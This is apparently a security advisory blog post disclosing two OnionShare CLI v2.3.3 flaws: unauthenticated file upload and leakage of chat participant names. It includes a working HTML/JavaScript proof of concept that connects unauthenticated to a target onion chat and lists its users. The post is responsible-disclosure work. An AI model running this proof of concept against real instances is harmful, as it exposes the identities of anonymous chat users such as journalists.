TL;DR
IHTeam undertook an independent security assessment of OnionShare CLI v2.3.3 and identified the following vulnerabilities:
- Unauthenticated File Upload (when using –receive in non-public mode) AKA CVE-2021-41868
- Disclosure of Chat Participants to Unauthenticated Users (when using –chat option in non-public mode) AKA CVE-2021-41867
What is OnionShare?
OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. It is often used by journalists in oppressed countries. OnionShare was developed by Micah Lee, et al. and is open source, released under the GPLv3. Like all software, OnionShare may contain bugs or vulnerabilities. The source code of OnionShare is available in GitHub at: https://github.com/onionshare/onionshare and the main org website is available at https://onionshare.org/
Unauthenticated File Upload
OnionShare is indeed a file sharing platform however, it generates by default a random username and password at start-up to be used in Basic Authorization (non-public mode). Therefore, file upload should only be allowed to users with the correct credential. There are additional parameters that could be passed to open the system to anyone on the Tor network (known as public mode).
IHTeam observed that it was possible to upload file in a remote OnionShare instance (configured in non-public mode) without knowing the correct credential – https://github.com/onionshare/onionshare/issues/1396
The issue was found while analyzing receive_mode.py (https://github.com/onionshare/onionshare/blob/develop/cli/onionshare_cli/web/receive_mode.py), which initiated the upload process before checking for Flask HTTPAuth.
Disclosure of Chat Participants
This second issue was affecting the chat functionality in OnionShare (–chat parameter). Once again, by default, the OnionShare instance generates a random username and password at start-up to be used in Basic Authorization.
IHTeam observed that it was possible to initiate a websocket connection from an unauthenticated perspective and retrieve the full list of participants – https://github.com/onionshare/onionshare/issues/1397
The issue was found while analyzing chat_mode.py (https://github.com/onionshare/onionshare/blob/02254b13bb4818745193092f2144fd83726d79e7/cli/onionshare_cli/web/chat_mode.py), which allowed an unauthenticated user to connect via websocket (with or without a valid Flask session cookie). The leak of chat participants happened when emitting ‘joined’ message in the websocket channel.
The following proof of concept to validate the issue was provided to the developers:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h1>OnionShare Disclosure of Connected Users PoC</h1>
<ul id="user-list"></ul>
<script src="https://cdn.socket.io/3.1.1/socket.io.min.js" crossorigin="anonymous">
</script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js">
</script>
<script>
$(function () {
$(document).ready(function () {
var socket = io.connect(
'http://<target Onion v3 address>.onion/chat',
{
transports: ['websocket']
}
);
socket.on('connect', function () {
socket.emit('joined', {
}
);
}
);
socket.on('status', function (data) {
var userListHTML = '';
var userslist = data.connected_users;
for (i = 0; i < userslist.length; i++) {
userListHTML += `<li>${userslist[i]}</li>`;
}
$('#user-list').html(userListHTML);
}
);
}
);
}
);
</script>
</body>
</html>
Timeline:
21/08/2021: Bugs identified and GitHub issues created
17/09/2021: New version of OnionShare released
04/10/2021: This blog post published